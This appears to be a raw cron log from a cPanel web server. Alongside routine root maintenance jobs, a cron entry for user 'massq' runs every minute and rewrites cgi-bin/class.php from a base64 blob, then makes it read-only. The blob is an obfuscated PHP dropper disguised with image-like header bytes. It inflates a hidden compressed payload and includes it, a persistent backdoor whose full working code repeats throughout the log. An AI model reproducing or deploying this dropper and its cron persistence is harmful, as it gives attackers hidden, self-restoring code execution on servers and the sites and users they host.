Sep  1 11:36:01 server CROND[31957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:36:01 server CROND[31958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:36:01 server CROND[31959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:37:01 server CROND[32355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:37:01 server CROND[32356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:37:01 server CROND[32354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:38:01 server CROND[452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:38:01 server CROND[453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:38:01 server CROND[454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:39:01 server CROND[898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:39:01 server CROND[900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:39:01 server CROND[899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:39:01 server CROND[901]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 11:40:01 server CROND[1402]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 11:40:01 server CROND[1403]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:40:01 server CROND[1407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:40:01 server CROND[1408]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:40:01 server CROND[1410]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 11:40:01 server CROND[1411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:40:01 server CROND[1412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:40:01 server CROND[1409]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 11:41:01 server CROND[2310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:41:01 server CROND[2311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:41:01 server CROND[2314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:42:01 server CROND[2758]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 11:42:01 server CROND[2761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:42:01 server CROND[2762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:42:01 server CROND[2760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:43:01 server CROND[3162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:43:01 server CROND[3160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:43:01 server CROND[3161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:44:01 server CROND[3638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:44:01 server CROND[3639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:44:01 server CROND[3640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:45:01 server CROND[4029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:45:01 server CROND[4031]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 11:45:01 server CROND[4034]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 11:45:01 server CROND[4033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:45:01 server CROND[4035]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:45:01 server CROND[4036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:45:01 server CROND[4032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:46:01 server CROND[4903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:46:01 server CROND[4905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:46:01 server CROND[4904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:47:01 server CROND[5463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:47:01 server CROND[5464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:47:01 server CROND[5465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
